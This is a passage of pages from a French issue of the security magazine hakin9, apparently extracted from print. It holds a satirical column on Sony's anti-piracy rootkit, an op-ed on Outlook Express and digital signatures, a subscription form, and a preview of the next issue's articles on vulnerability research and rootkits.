uel est le point commun entre Ozzy Osbourne et un rootkit ? Tout d'abord, tous les deux relèvent d'une technologie très ancienne. Et tous deux sont sortis et diffusés avec le même succès par Sony Music. Pas gratuitement bien sûr ! En effet, de bons rootkits peuvent coûter très chers. Lorsqu'il vous est demandé d'écrire sur les rootkits cachés distribués commercialement, il est difficile d'innover en la matière. En effet, lors de ces dernières semaines, les lecteurs ont pu lire toutes les opinions possibles sur le sujet. Certains déclarent détester Sony. D'autres s'inquiètent de se faire prendre, alors que d'autres encore ne manifestent aucun souci ou ne sont pas prêts à arrêter de graver des CD. Toute cette effervescence autour de l'industrie des CD Sony m'a évoqué une courte histoire futuriste. Imaginez un nouveau rapport de sécurité publié dans le magazine hakin9 du mois de novembre 2014, dont le contenu serait le suivant : Il y a 10 ans, Sony BMG introduisait sa toute première solution permettant de protéger efficacement les droits d'auteurs. Depuis, de nombreuses sociétés connues d'enregistrement, de logiciels et d'édition ont adapté puis amélioré cette technologie, à laquelle nous devons l'éradication complète de l'un des pires problèmes de ce début de siècle, le piratage. Tentons de nous remémorer, dans ce monde moderne, dépourvu de logiciels et de CD pirates, le combat mené contre le piratage. En 2005, Sony sortait un CD de musique capable d'installer un rootkit sur chaque ordinateur des clients. Grâce à ce CD, la société avait ainsi accès aux ordinateurs de ses clients à tout moment afin de vérifier qu'ils possédaient bien la licence pour le CD utilisé. Cette technologie a été dans l'ensemble bien accueillie par la communauté des utilisateurs, malgré quelques contestataires. En publiant son mode d'utilisation, ces derniers ont rendu toutefois

À propos de l'auteur

Konstantin Klyagin, également connu sous le surnom de Konst, est ingénieur en solutions logicielles. Depuis sept ans, il travaille dans le domaine du développement de logiciels. À l'âge de 24 ans, il avait déjà près de 16 ans d'expérience en informatique générale. Titulaire d'un Master en Mathématiques appliquées, il parle le Russe, l'Anglais, le Roumain et l'Ukrainien. Originaire de Kharkov, en Ukraine, il habite à l'heure actuelle à Berlin. Pour plus de renseignements, veuillez consulter le site de l'auteur à l'adresse suivante : http://thekonst.net.

78

hakin9 Nº 2/2006

possible une nouvelle étape dans la lutte contre le piratage. Désormais la société ne serait plus la seule à contrôler la présence de matériel piraté sur les ordinateurs des clients. Les utilisateurs eux-mêmes pourraient inspecter les ordinateurs de tout un chacun et signaler des cas de piratage à Sony. Cette technologie ouvrait tout à coup de nouvelles perspectives dans la poursuite d'une législation visant à contrôler cet ancien monde informatique complètement anarchique. Il était désormais du devoir de chacun de lutter contre le piratage ! En 2008, alors qu'il restait encore de nombreux PC non protégés contre le piratage, l'équipe brillante de Pear Computers a décidé de tirer parti de la célèbre technique de craquage de mot de passe par force brute. Ainsi, chaque mélodie téléchargée au moyen de leur solution iRap lançait un code chargé de scanner automatiquement les PC ne disposant d'aucun logiciel anti-piratage. De cette manière, des agents de protection pouvaient être installés sur les ordinateurs auparavant non-protégés. Selon les déclarations du PDG de Pear Computers, Stan Werkin, lors du congrès annuel sur les droits d'auteurs à Shangaï, nous devons utiliser toutes les mesures possibles afin de libérer le monde du piratage. Depuis 2007, pas un seul logiciel shareware, aussi modeste soit-il, pas une seule application de type Hello, world! n'est proposée sans son propre rootkit afin de veiller à ce qu'aucun ordinateur ne reste vulnérable au piratage. Les sociétés ont investi des milliards de dollars afin de créer des agents anti-piratage, selon la vieille technique des vers. Ces agents anti-piratage inspectent la Toile dans le but d'installer des rootkits sur les ordinateurs, qui, par erreur, ne disposent d'aucun rootkit préinstallé dans le package proposé par le fabricant de matériel informatique d'origine. Enfin, en 2010, toutes les techniques auparavant considérées comme destructrices, servaient la noble cause visant à éliminer entièrement le piratage. Ainsi, divers rootkits ont été installés sur les ordinateurs des clients au moyen d'attaques DoS, d'espionnage de ports, de virus mutants, de chevaux de Troie et de vers, avec pour effet positif d'éradiquer les virus et les vers répandus par les pirates. La liberté de pirater est l'un des droits les plus fondamentaux acquis par l'humanité dans un des combats virtuels les plus importants de tous. L'époque où nous pouvions écouter de la musique sous licence, voir des films ou télécharger des logiciels sans bogues est révolue. Remercions les sociétés Pear, Pronomount, Werner Sisters, Necrosaft et Well-Mort. l

www.hakin9.org

Les vieux démons de Microsoft Tomasz Nidecki

J

e suis récemment devenu un partisan convaincu des signatures numériques. À l'heure où les tentatives de protection des messageries électroniques échouent l'une après l'autre, comme SPF ou Sender ID de Microsoft, j'étais à la recherche d'une autre méthode et suis parvenu à la conclusion que la seule solution logique consiste à ne pas empêcher certains intrus d'envoyer des messages avec mon adresse, mais de prouver à tout le monde que seuls les messages signés numériquement étaient dignes de confiance. Mais quelle ne fut pas ma surprise lorsque j'ai commencé à utiliser une signature numérique dans mes messages électroniques. En effet, selon certains de mes correspondants, il serait impossible de répondre à mes messages dans Outlook Express, en raison de la présence d'une erreur au moment d'envoyer une réponse. J'ai donc décidé de vérifier ceci par moi-même, pour constater qu'effectivement Microsoft a rendu l'utilisation des signatures numériques quasi impossible pour le commun des utilisateurs. Lorsqu'il reçoit un message signé numériquement, un utilisateur d'Outlook Express doit tout d'abord lire une énorme alerte (dans quel but ?) lui signalant que le message comporte une signature numérique. L'utilisateur voit s'afficher cette alerte à chaque tentative de lecture de message de ce type à moins qu'il ne coche la petite boîte de contrôle située sous l'alerte afin d'empêcher le programme d'afficher l'alerte continuellement. Mais le pire reste à venir lorsque ce même utilisateur essaie de répondre à un message signé numériquement

À propos de l'auteur

Tomasz Nidecki est actuellement rédacteur en chef du magazine hakin9. Depuis près de quinze ans maintenant, son parcours professionnel a trait, de près ou de loin, à la presse informatique et à divers postes liés à l'informatique. En plus de l'édition, de la rédaction et de la gestion du magazine, il gère également des serveurs de messagerie électronique, qui demeurent son principal domaine de prédilection (plus particulièrement les spams et la protection). Depuis près de cinq ans, il prend part activement aux mouvements antispam organisés en Pologne.

www.hakin9.org

sans posséder lui-même de certificat. Outlook Express affiche alors un message d'erreur signalant que le message ne peut être signé. Mais pourquoi devrait-il l'être, puisque l'utilisateur. Ce qui m'amène à me pencher sur les raisons qui ont poussé Microsoft à faire fonctionner de la sorte leur principal programme de messagerie électronique, utilisé par d'innombrables internautes dans le monde entier. Lors de mes recherches, je suis tombé sur une page de support de Microsoft décrivant ce problème et sa solution (http://support.microsoft.com/ ?kbid=816830), et me suis aperçu que ce problème était connu depuis septembre 2003, soit pendant plus de deux ans. Apparemment, Microsoft n'a pas choisi de résoudre ce problème au moyen des mises à jour automatiques de Windows, ni dans les toutes dernières versions d'Outlook Express. En toute logique, Microsoft semble souhaiter que les utilisateurs rencontrent le plus de problèmes possibles à utiliser les signatures numériques. Mais qu'est-ce qui pourrait pousser Microsoft à empêcher les utilisateurs d'avoir recours aux signatures numériques ? De toute évidence, la réponse est Sender ID. La politique actuelle de Microsoft consiste à promouvoir et à installer cette solution défectueuse sur le plus de systèmes possibles tout en déclarant qu'il s'agit d'un moyen de sécuriser les messageries électroniques. Il est évident que les signatures numériques menacent ainsi directement leur solution. En effet, si tout le monde avait recours aux signatures numériques, plus besoin de Sender ID. Je suis persuadé que si Microsoft possédait Verisign ou Thawte, cet affreux bogue serait déjà corrigé sous Outlook Express, à la minute où les développeurs le verraient, car cette opération serait profitable à Microsoft. Voilà donc que Microsoft nous rejoue son vieux numéro. Sous couvert de sa position dominante sur le marché, Microsoft oblige ses clients à utiliser ce qu'il souhaite, en menant la vie dure à tous ceux qui désirent utiliser les signatures numériques. Pourquoi donc ne suis-je pas si surpris par cette attitude ? l

hakin9 Nº 6/2005

79

www.shop.software.com.pl/fr Abonnez-vous à vos magazines préférés et commandez des anciens numéros !

Vous pouvez en quelques minutes et en toute sécurité vous abonner à votre magazine préféré. Nous vous garantissons : • des tarifs préférentiels, • un paiement en ligne sécurisé, • la prise en compte rapide de votre commande. Abonnement en ligne sécurisé à tous les magazines de la maison d’édition Software !

bulletin d’abonnement Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 887 10 11 ou par courrier : Software-Wydawnictwo Sp. z o.o., Piaskowa 3, 01-067 Varsovie, Pologne ; Tél. 0048 22 887 13 44 ; E-mail : [email protected] Prénom Nom ............................................................................................... Entreprise ................................................................................................... Adresse ................................................................................................................................................................................................................................. Code postal ................................................................................................

Ville ..............................................................................................................

Téléphone ...................................................................................................

Fax ...............................................................................................................

Je souhaite recevoir l'abonnement à partir du numéro ..................................................................................................................................................... E-mail (indispensable pour envoyer la facture) ................................................................................................................................................................. o Prolongement automatique d’abonnement

Titre

Programmation sous Linux (1 CD ou DVD) Bimestriel pour les programmeurs professionnels

Nombre de numéros annuels

Nombre d’abonnements

À partir du numéro

Prix

6

38 €

6

38 €

12

86 €

Linux+ Extra Pack (4-7 CDs ou 1-3 DVDs) Distributions Linux les plus populaires

6

50 €

PHP Solutions (1 CD) Le plus grand magazine sur PHP au monde

6

38 €

6

38 €

6

39 €

Software Developer’s Journal Extra ! (1 CD ou DVD) – anciennement Software 2.0 Extra Bimestriel sur la programmation Linux+DVD (2 DVDs) Mensuel unique avec 2 DVDs consacré à Linux et à ses utilisateurs

Hakin9 – comment se défendre ? (1 CD) Bimestriel destiné aux personnes qui s’intéressent à la sécurité des systèmes informatiques .PSD (2 CDs) Bimestriel pour les utilisateurs d’Adobe Photoshop

Total

Je règle par : ¨

Carte bancaire n° CB type de carte ..........................................................................

Virement bancaire : Nom banque : Société Générale Chasse/Rhône banque guichet numéro de compte clé Rib 30003 01353 00028010183 90 IBAN : FR76 30003 01353 00028010183 90 Adresse Swift (Code BIC) : SOGEFRPP ¨

expire le code CVC/CVV

date et signature obligatoires

hakin9 3/2006

Dans le prochain numéro, vous trouverez, entre autres : Prochainement

Détection des vulnérabilités dans les applications à code fermé Pratique

La détection des vulnérabilités dans les applications n'offrant pas du code ouvert est une tâche fastidieuse. Sans avoir accès au code, il est difficile de détecter un point d'attaque potentiel. Il est également difficile de trouver une vulnérabilité en tant que telle et de prouver son existence. Bernhard Mueller démontre comment son équipe a détecté une vulnérabilité dans Macromedia Flash Player. Il présentera aussi les techniques et les outils et expliquera comment effectuer une telle analyse.

Rootkit dans le système Linux avec noyau 2.6 Programmation

Les rootkits pour Linux avec le noyau 2.6 diffèrent de ceux préparés pour le noyau 2.4. Pablo Fernandez décrit avec détails comment créer un tel rootkit. Il présente comment exploiter les appels système, VFS et proc_fs, comment dissimuler le module du noyau, les processus, les connexions réseau, les fichiers et comment affecter au processus de rootkit les droits de root.

Shatter attack – abus liés aux messages dans Windows Focus

Le mécanisme de gestion de l’interface graphique dans Windows a été conçu dans les temps où les questions de sécurité n’occupaient pas trop de personnes. C’est pourquoi, il peut être facilement exploité pour contourner les protections (par exemple les pare-feux) ou pour obtenir les droits d’accès plus élevés dans le système. Krzysztof Wilkos décrit ce type d’attaque appelé attaque fracassante (shatter attack).

Détection des intrusions à partir de l’analyse du trafic réseau Fiche technique

La plupart des programmes pour l’analyse des réseaux permettent de sauvegarder les journaux au format pdf. Leur analyse ultérieure à l’aide des autres outils peut révéler beaucoup de détails difficiles à repérer à la première vue. Bartosz Przybylski présente les méthodes de l’analyse du trafic réseau utilisées pour détecter les attaques et les abus, basées sur les journaux au format pdf.

Pour voir plus d’informations actuelles sur le prochain numéro, visitez la page http://www.hakin9.org/fr Ce numéro sera disponible en vente début mai 2006. La rédaction se réserve le droit de modifier le contenu de la revue.